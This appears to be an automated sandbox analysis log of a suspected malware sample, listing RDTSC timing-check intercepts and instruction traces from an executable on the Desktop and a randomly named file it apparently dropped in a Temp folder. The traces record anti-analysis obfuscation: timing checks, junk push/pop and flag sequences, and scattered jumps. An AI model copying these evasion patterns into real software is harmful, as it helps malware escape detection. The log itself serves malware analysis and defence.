Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51708D1 second address: 51708E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAAF8FC5094h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51708E9 second address: 51708ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 517097E second address: 5170984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170984 second address: 51709C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF912802Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov dl, 4Ch 0x00000012 pushfd 0x00000013 jmp 00007FAAF9128036h 0x00000018 or ax, 5288h 0x0000001d jmp 00007FAAF912802Bh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51709C8 second address: 51709F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC5099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov cx, dx 0x00000011 mov eax, edi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51709F0 second address: 51709F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51709F6 second address: 5170A18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FAAF8FC50EFh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAAF8FC5090h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170A18 second address: 5170A1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170A75 second address: 5170A7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170A7B second address: 5170A9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, cl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAAF9128035h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170A9B second address: 5170AA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170AA0 second address: 5170AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 312F10E0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c leave 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAAF9128032h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170AC1 second address: 51601EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 jmp 00007FAAF8FC5082h 0x00000015 xor ebx, ebx 0x00000017 test al, 01h 0x00000019 jne 00007FAAF8FC5087h 0x0000001b sub esp, 04h 0x0000001e mov dword ptr [esp], 0000000Dh 0x00000025 call 00007FAAFD1E2835h 0x0000002a mov edi, edi 0x0000002c jmp 00007FAAF8FC5096h 0x00000031 xchg eax, ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FAAF8FC5097h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51601EC second address: 51601F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51601F2 second address: 51601F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51603BF second address: 51603C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51603C5 second address: 51603CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51603CB second address: 5160404 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF9128038h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAAF9128037h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160404 second address: 516043E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC5099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FAAF8FC5230h 0x0000000f jmp 00007FAAF8FC508Eh 0x00000014 lea ecx, dword ptr [ebp-14h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 516043E second address: 5160442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160442 second address: 5160448 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51604AE second address: 51604C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF912802Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51604C1 second address: 51604F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAAF8FC508Fh 0x00000009 add cl, 0000003Eh 0x0000000c jmp 00007FAAF8FC5099h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51605B4 second address: 51605E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF9128039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f call 00007FAAF912802Ah 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51605E2 second address: 51605EB instructions: 0x00000000 rdtsc 0x00000002 mov ax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51605EB second address: 5160618 instructions: 0x00000000 rdtsc 0x00000002 mov ch, 44h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 lea eax, dword ptr [ebp-2Ch] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushfd 0x00000010 jmp 00007FAAF912802Ah 0x00000015 or esi, 1E740FD8h 0x0000001b jmp 00007FAAF912802Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160618 second address: 516061D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 516061D second address: 51606E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FAAF9128035h 0x0000000a adc esi, 418AC776h 0x00000010 jmp 00007FAAF9128031h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, esi 0x0000001a pushad 0x0000001b mov esi, 4A33E203h 0x00000020 pushfd 0x00000021 jmp 00007FAAF9128038h 0x00000026 adc cl, FFFFFFC8h 0x00000029 jmp 00007FAAF912802Bh 0x0000002e popfd 0x0000002f popad 0x00000030 push eax 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007FAAF912802Fh 0x00000038 jmp 00007FAAF9128033h 0x0000003d popfd 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007FAAF9128036h 0x00000045 add si, C888h 0x0000004a jmp 00007FAAF912802Bh 0x0000004f popfd 0x00000050 movzx ecx, di 0x00000053 popad 0x00000054 popad 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FAAF912802Eh 0x0000005d rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51606E7 second address: 51606F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAAF8FC508Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51606F9 second address: 51606FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 516078B second address: 51607A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAAF8FC5094h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51607A3 second address: 5160084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF912802Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d jmp 00007FAAF9128036h 0x00000012 test esi, esi 0x00000014 jmp 00007FAAF9128030h 0x00000019 je 00007FAB6A925E9Dh 0x0000001f xor eax, eax 0x00000021 jmp 00007FAAF910175Ah 0x00000026 pop esi 0x00000027 pop edi 0x00000028 pop ebx 0x00000029 leave 0x0000002a retn 0004h 0x0000002d nop 0x0000002e xor ebx, ebx 0x00000030 cmp eax, 00000000h 0x00000033 je 00007FAAF9128183h 0x00000039 call 00007FAAFD3454ADh 0x0000003e mov edi, edi 0x00000040 jmp 00007FAAF9128035h 0x00000045 xchg eax, ebp 0x00000046 jmp 00007FAAF912802Eh 0x0000004b push eax 0x0000004c pushad 0x0000004d jmp 00007FAAF9128031h 0x00000052 pushfd 0x00000053 jmp 00007FAAF9128030h 0x00000058 sub ch, FFFFFF98h 0x0000005b jmp 00007FAAF912802Bh 0x00000060 popfd 0x00000061 popad 0x00000062 xchg eax, ebp 0x00000063 jmp 00007FAAF9128036h 0x00000068 mov ebp, esp 0x0000006a pushad 0x0000006b call 00007FAAF912802Eh 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160084 second address: 51600D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007FAAF8FC5091h 0x0000000b adc ah, FFFFFF96h 0x0000000e jmp 00007FAAF8FC5091h 0x00000013 popfd 0x00000014 popad 0x00000015 xchg eax, ecx 0x00000016 jmp 00007FAAF8FC508Eh 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FAAF8FC508Eh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51600D1 second address: 51600D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 51600D7 second address: 51600DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160171 second address: 51601B1 instructions: 0x00000000 rdtsc 0x00000002 mov dh, ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 leave 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushfd 0x0000000c jmp 00007FAAF9128037h 0x00000011 or al, FFFFFFAEh 0x00000014 jmp 00007FAAF9128039h 0x00000019 popfd 0x0000001a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160B77 second address: 5160B86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160B86 second address: 5160B9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAAF9128034h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160B9E second address: 5160C22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FAAF8FC508Fh 0x00000013 add esi, 1302641Eh 0x00000019 jmp 00007FAAF8FC5099h 0x0000001e popfd 0x0000001f pushad 0x00000020 mov edi, esi 0x00000022 pushfd 0x00000023 jmp 00007FAAF8FC508Ah 0x00000028 add esi, 608E6A18h 0x0000002e jmp 00007FAAF8FC508Bh 0x00000033 popfd 0x00000034 popad 0x00000035 popad 0x00000036 xchg eax, ebp 0x00000037 jmp 00007FAAF8FC5096h 0x0000003c mov ebp, esp 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160C22 second address: 5160C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160C26 second address: 5160C2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160C2A second address: 5160C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160C30 second address: 5160C36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160C36 second address: 5160C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160C3A second address: 5160C87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [769B459Ch], 05h 0x00000012 pushad 0x00000013 push ecx 0x00000014 pushfd 0x00000015 jmp 00007FAAF8FC508Dh 0x0000001a and ah, FFFFFFC6h 0x0000001d jmp 00007FAAF8FC5091h 0x00000022 popfd 0x00000023 pop esi 0x00000024 popad 0x00000025 je 00007FAB6A7B2E09h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160C87 second address: 5160CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FAAF9128035h 0x0000000a sub eax, 25BEAFD6h 0x00000010 jmp 00007FAAF9128031h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160CBA second address: 5160CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160CC0 second address: 5160CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160D25 second address: 5160D29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5160D29 second address: 5160D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170AEE second address: 5170B49 instructions: 0x00000000 rdtsc 0x00000002 call 00007FAAF8FC508Eh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007FAAF8FC508Eh 0x00000011 mov dword ptr [esp], ebp 0x00000014 jmp 00007FAAF8FC5090h 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FAAF8FC508Ch 0x00000023 add esi, 511F1A48h 0x00000029 jmp 00007FAAF8FC508Bh 0x0000002e popfd 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170B49 second address: 5170B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov esi, 7AA96FD5h 0x0000000a popad 0x0000000b xchg eax, esi 0x0000000c jmp 00007FAAF9128030h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170B6B second address: 5170B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FAAF8FC508Ah 0x0000000a sub ax, 3FD8h 0x0000000f jmp 00007FAAF8FC508Bh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170B8C second address: 5170B92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170B92 second address: 5170B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170B96 second address: 5170BB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF912802Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edi, cx 0x00000012 mov di, ax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170BB2 second address: 5170BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170BB8 second address: 5170BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170BBC second address: 5170C0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+0Ch] 0x0000000e jmp 00007FAAF8FC5096h 0x00000013 test esi, esi 0x00000015 pushad 0x00000016 call 00007FAAF8FC508Eh 0x0000001b pop ecx 0x0000001c mov eax, edi 0x0000001e popad 0x0000001f je 00007FAB6A7A2842h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 pop edi 0x0000002a mov ecx, 340F8E7Dh 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170C0C second address: 5170C57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAAF9128039h 0x00000009 xor esi, 6BC1D646h 0x0000000f jmp 00007FAAF9128031h 0x00000014 popfd 0x00000015 mov edx, esi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a cmp dword ptr [769B459Ch], 05h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov dx, AFDAh 0x00000028 mov eax, ebx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170C57 second address: 5170CBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FAB6A7BA8B6h 0x0000000f pushad 0x00000010 mov al, F2h 0x00000012 pushfd 0x00000013 jmp 00007FAAF8FC5093h 0x00000018 xor al, FFFFFFDEh 0x0000001b jmp 00007FAAF8FC5099h 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 call 00007FAAF8FC5093h 0x0000002b pop ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170CBC second address: 5170CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170CC1 second address: 5170D08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007FAAF8FC508Eh 0x0000000b add ah, 00000038h 0x0000000e jmp 00007FAAF8FC508Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007FAAF8FC5099h 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170D08 second address: 5170D0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170D0C second address: 5170D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170D42 second address: 5170D76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF9128031h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FAAF9128031h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dx, 3FCEh 0x00000017 mov di, 8ADAh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170DB1 second address: 5170DCA instructions: 0x00000000 rdtsc 0x00000002 mov si, 7BBFh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 mov di, cx 0x0000000c mov ax, D28Dh 0x00000010 popad 0x00000011 popad 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170DCA second address: 5170DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170DCE second address: 5170DD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 5170DD4 second address: 5170E06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FAAF912802Ah 0x00000008 pop eax 0x00000009 call 00007FAAF912802Bh 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FAAF9128032h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5D5A9E second address: 5D5AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5CEBAC second address: 5CEBB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5CEBB0 second address: 5CEBC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FAAF8FC5093h 0x0000000c jmp 00007FAAF8FC508Bh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5CEBC9 second address: 5CEBD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FAAF9128026h 0x0000000a jo 00007FAAF9128026h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	RDTSC instruction interceptor: First address: 5CEBD9 second address: 5CEBDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
